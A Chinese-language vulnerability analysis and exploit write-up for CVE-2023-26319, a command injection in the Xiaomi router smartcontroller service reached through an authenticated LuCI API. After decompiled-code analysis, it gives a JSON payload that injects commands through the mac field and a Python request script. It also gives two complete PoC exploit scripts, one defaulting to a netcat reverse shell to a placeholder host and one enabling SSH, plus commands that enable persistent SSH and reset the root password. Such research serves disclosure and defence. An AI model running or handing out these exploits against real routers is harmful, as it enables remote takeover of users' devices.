CVE-2023-26319 是小米路由器 smartcontroller 组件中的命令注入漏洞。用户可控的 mac 参数被拼接到系统命令中,并通过 system() 执行,最终可在设备上执行任意命令。
1. 漏洞概述 /usr/lib/lua/luci/controller/api/xqsmarthome.lua
授权后 API 接口 /api/xqsmarthome/request_smartcontroller 用于与网络中的智能家居设备交互,该接口在 /usr/lib/lua/luci/controller/api/xqsmarthome.lua 文件中实现,且接收 URL 参数 payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 function index () local page = node("api" ,"xqsmarthome" ) page.target = firstchild() page.title = ("" ) page.order = 500 page.sysauth = "admin" page.sysauth_authenticator = "jsonauth" page.index = true entry({"api" , "xqsmarthome" }, firstchild(), _("" ), 500 ) entry({"api" , "xqsmarthome" , "request" }, call("tunnelSmartHomeRequest" ), _("" ), 501 ) entry({"api" , "xqsmarthome" , "request_smartcontroller" }, call("tunnelSmartControllerRequest" ), _("" ), 502 ) entry({"api" , "xqsmarthome" , "request_miio" }, call("tunnelMiioRequest" ), _("" ), 503 ) entry({"api" , "xqsmarthome" , "request_mitv" }, call("requestMitv" ), _("" ), 504 ) entry({"api" , "xqsmarthome" , "request_yeelink" }, call("tunnelYeelink" ), _("" ), 505 ) entry({"api" , "xqsmarthome" , "request_camera" }, call("requestCamera" ), _("" ), 506 ) entry({"api" , "xqsmarthome" , "request_miiolist" }, call("requestMiioList" ), _("" ), 507 ) end function tunnelSmartControllerRequest () [...] local payload = require ("luci.http" ).formvalue("payload" ) local payload_b64=require ("xiaoqiang.util.XQCryptoUtil" ).binaryBase64Enc(payload) [...] local command = string .format (XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER, payload_b64) http.write (require ("luci.util" ).exec(command))end
该接口对 payload 做 Base64 编码后,填入 XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER,最终由 LuciUtil.exec 执行。查看 /usr/lib/lua/xiaoqiang/common/XQConfigs.lua 中该常量的定义。
1 THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = "thrifttunnel 2 '%s'"
因此,该载荷会通过执行以下命令被传递给 thrifttunnel 二进制程序:thrifttunnel 2 '[BASE64 PAYLOAD]'。
分析 thrifttunnel 可知,参数 2 会通过 ubus 将 payload 转发至 smartcontroller 服务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int32_t _ftext(int32_t argc, char ** argv, char ** envp) { [...] case 2 : { uloop_init(); int32_t _ubus_ctx = ubus_connect(data_412050); ubus_ctx = _ubus_ctx; int32_t ubus_id; if (_ubus_ctx != 0 ) { uloop_fd_add((_ubus_ctx + 0x2c ), 9 ); ubus_id = ubus_lookup_id(ubus_ctx, "smartcontroller" , 0x412074 ); if (ubus_id == 0 ) { blob_buf_init(0x41205c , 0 ); blobmsg_add_field(0x41205c , 3 , "request" , s2_1, (strlen (s2_1) + 1 )); s0_4 = nullptr; int32_t v0_19 = ubus_invoke_fd(ubus_ctx, data_412074, "process_request" , data_41205c, 0x400f00 , 0 , 0x1388 , 0xffffffff ); a0_11 = ubus_ctx; [...] }
该调用链可以概括为:payload 最终作为参数传给 /usr/sbin/smartcontroller。
2. smartcontroller 命令注入 分析 smartcontroller 可知,mac 参数可以进入命令注入路径。漏洞点位于 0x4061d4,本文将该函数命名为 run_sysapi_macfilter。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int __fastcall run_command (const char *cmd) { int ret; ret = is_empty(); if ( ret ) return 0 ; log (2 , "system command: %s\n" , cmd); if ( !system(cmd) ) return 1 ; log (2 , "system call error\n" ); return ret; }int __fastcall run_sysapi_macfilter (const char *mac, int enable) { const char *v4; char s[100 ]; memset (s, 0 , sizeof (s)); if ( enable ) v4 = "no" ; else v4 = "yes" ; snprintf (s, 0x64u , "/usr/sbin/sysapi macfilter set mac=%s wan=%s;/usr/sbin/sysapi macfilter commit" , mac, v4) return run_command(s); }
mac 参数由用户可控,并被直接拼入 run_command 执行的命令字符串,因此构成命令注入。
3. 请求构造与命令分发 要触发该路径,需要先确认 smartcontroller 的请求格式和内部命令分发逻辑。
smartcontroller 接收 JSON 请求,且请求中必须包含 command 字段。
函数 scene_command_parser(0x401dc0)负责解析命令类型。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 int32_t scene_command_parser (char * command) { void * json_object; int32_t a2; json_object = json_tokener_parse(command); char const * const error_msg; if (json_object == 0 ) { error_msg = "request is not a json object\n" ; } else { void * cmd_json_object; cmd_json_object = json_object_object_get(json_object, "command" ); if (cmd_json_object != 0 ) { int32_t cmd_string = json_object_get_string(cmd_json_object); int32_t s0_3; int32_t v0_11; if (strcmp (cmd_string, "scene_setting" ) == 0 ) { int32_t v0_12; int32_t a2_6; v0_12 = strcmp (cmd_string, "get_scene_setting" ); if (v0_12 == 0 ) { if (strcmp (cmd_string, "get_single_scene_setting" ) == 0 ) { if (strcmp (cmd_string, "get_multiple_scene_setting" ) == 0 ) { if (strcmp (cmd_string, "scene_update" ) == 0 ) { if (strcmp (cmd_string, "scene_start" ) == 0 ) { if (strcmp (cmd_string, "scene_stop" ) == 0 ) { if (strcmp (cmd_string, "scene_launch" ) == 0 ) { if (strcmp (cmd_string, "scene_launch_delete" ) == 0 ) { if (strcmp (cmd_string, "scene_delete" ) == 0 ) { if (strcmp (cmd_string, "scene_start_by_device_status" ) == 0 ) { if (strcmp (cmd_string, "is_scene_processing" ) == 0 ) { if (strcmp (cmd_string, "get_scene_count" ) == 0 ) { if (strcmp (cmd_string, "reset_scenes" ) == 0 ) { if (strcmp (cmd_string, "scene_start_by_crontab" ) != 0 ) {
需要注意,这里字符串不相等时函数返回 0,与常规 strcmp 语义相反。原因是该处调用的是自定义封装的 strcmp_0。
1 2 3 4 5 6 7 8 9 10 11 12 13 bool __fastcall strcmp_0 (const char *a1, const char *a2) { bool v2; if ( a1 == a2 ) return 1 ; v2 = a1 == 0 ; if ( a1 ) v2 = a2 == 0 ; if ( !v2 ) return strcmp (a1, a2) == 0 ; return 0 ; }
同一函数中可以看到 run_sysapi_macfilter 的唯一调用点,仅当命令为 scene_setting 时触发。
4. 利用验证 根据上述调用关系,可为 /api/xqsmarthome/request_smartcontroller 构造请求。scene_setting 会创建一个新场景,程序随后尝试屏蔽指定 MAC 地址;该字段被拼入系统命令,因此就是注入点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { "command" : "scene_setting" , "name" : "it3" , "action_list" : [ { "thirdParty" : "xmrouter" , "delay" : 17 , "type" : "wan_block" , "payload" : { "command" : "wan_block" , "mac" : ";nc 192.0.2.10 4444;#" } } ] , "launch" : { "timer" : { "time" : "2:2" , "repeat" : "0" , "enabled" : true } } }
随后使用 scene_start_by_crontab 触发该场景。
1 2 3 4 5 { "command" : "scene_start_by_crontab" , "time" : "2:2" , "week" : 0 }
可使用以下 Python 脚本发送请求。运行时将 <STOK> 替换为当前会话的 Luci stok:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests AUTH_TOKEN = "<STOK>" URL = f"http://10.0.0.1/cgi-bin/luci/;stok={AUTH_TOKEN} /api/xqsmarthome/request_smartcontroller" command = "nc 192.0.2.10 4444" requests.post(URL, data={ "payload" :'{"command":"scene_setting","name":"it3","action_list":[{"thirdParty":"xmrouter","delay":17,"type":"wan_block","payload":{"command":"wan_block","mac":";' + command + ';#"}}],"launch":{"timer":{"time":"2:2","repeat":"0","enabled":true}}}' }) requests.post(URL, data={ "payload" :'{"command":"scene_start_by_crontab","time":"2:2","week":0}' })
命令执行后,目标会主动连接监听端:
命令执行成功。
5. PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import argparseimport jsonimport randomimport stringimport requestsdef rand_name (prefix="it" , n=6 ): return prefix + "" .join(random.choice(string.ascii_lowercase) for _ in range (n))def post (url, payload, timeout=10 ): r = requests.post(url, data={"payload" : json.dumps(payload)}, timeout=timeout) print (f"[{payload.get('command' )} ] {r.status_code} {r.text} " ) return rdef main (): parser = argparse.ArgumentParser(description="smartcontroller PoC with fixed trigger path" ) parser.add_argument("--ip" , default="10.0.0.1" , help ="router ip" ) parser.add_argument("--stok" , required=True , help ="Luci stok" ) parser.add_argument("--cmd" , default="nc 192.0.2.10 4444 -e /bin/bash" , help ="injected command" ) parser.add_argument("--name" , default=None , help ="scene name" ) parser.add_argument("--time" , default=None , help ="crontab time H:M (default: current H:M)" ) parser.add_argument("--delay" , type =int , default=0 , help ="action delay" ) args = parser.parse_args() url = f"http://{args.ip} /cgi-bin/luci/;stok={args.stok} /api/xqsmarthome/request_smartcontroller" scene_name = args.name or rand_name("it" ) inj = f";{args.cmd} ;#" action = { "thirdParty" : "xmrouter" , "delay" : args.delay, "type" : "wan_block" , "payload" : { "command" : "wan_block" , "mac" : inj, "extra" : {"mac" : inj}, "group" : {"extra" : {"mac" : inj}}, }, } r1 = post(url, {"command" : "scene_setting" , "name" : scene_name, "action_list" : [action]}) try : scene_id = r1.json().get("id" ) except Exception: scene_id = None if not scene_id: print ("[!] no scene id returned, stop." ) return print (f"[+] scene id = {scene_id} " ) post(url, {"command" : "scene_start" , "id" : scene_id}) print ("\n[+] command processed. check your listener or verify on router." )if __name__ == "__main__" : main()
5.1 开启 SSH 的短命令 PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import argparseimport jsonimport randomimport stringimport sysimport requestsdef rand_name (n=6 ): return "it" + "" .join(random.choice(string.ascii_lowercase) for _ in range (n))def api_post (url, payload, timeout=10 ): r = requests.post(url, data={"payload" : json.dumps(payload)}, timeout=timeout) print (f"[{payload.get('command' )} ] {r.status_code} {r.text} " ) return rdef inject_once (url, cmd, delay=0 , name=None ): inj = f";{cmd} ;#" if len (inj) > 23 : print (f"[!] payload too long for mac field: {len (inj)} > 23" ) return False action = { "thirdParty" : "xmrouter" , "delay" : delay, "type" : "wan_block" , "payload" : {"command" : "wan_block" , "mac" : inj}, } r1 = api_post(url, { "command" : "scene_setting" , "name" : name or rand_name(), "action_list" : [action], }) try : sid = r1.json().get("id" ) except Exception: sid = None if not sid: print ("[!] no scene id returned" ) return False print (f"[+] scene id = {sid} " ) r2 = api_post(url, {"command" : "scene_start" , "id" : sid}) return r2.okdef main (): p = argparse.ArgumentParser(description="minimal smartcontroller cmdi exp" ) p.add_argument("--ip" , default="10.0.0.1" ) p.add_argument("--stok" , required=True ) p.add_argument("--delay" , type =int , default=0 ) p.add_argument("--name" , default=None ) g = p.add_mutually_exclusive_group(required=True ) g.add_argument("--cmd" , help ="short injected cmd (recommended <=20 chars)" ) g.add_argument("--enable-ssh" , action="store_true" , help ="use short payload: dropbear -p22" ) args = p.parse_args() url = f"http://{args.ip} /cgi-bin/luci/;stok={args.stok} /api/xqsmarthome/request_smartcontroller" cmd = "dropbear -p22" if args.enable_ssh else args.cmd ok = inject_once(url, cmd, delay=args.delay, name=args.name) sys.exit(0 if ok else 1 )if __name__ == "__main__" : main()
首次进入设备后,可执行以下命令开启 SSH:
1 2 3 4 5 nvram set ssh_en=1 nvram commit sed -i 's/channel=.*$/channel="debug"/g' /etc/init.d/dropbear /etc/init.d/dropbear startprintf '%s\n' '<NEW_PASSWORD>' '<NEW_PASSWORD>' | passwd root
执行后 SSH 服务保持开启。
使用内置参数开启 SSH:
1 python3 exp.py --ip 10.0.0.1 --stok <TOK> --enable-ssh
执行自定义命令:
1 python3 exp.py --ip 10.0.0.1 --stok <TOK> --cmd "id"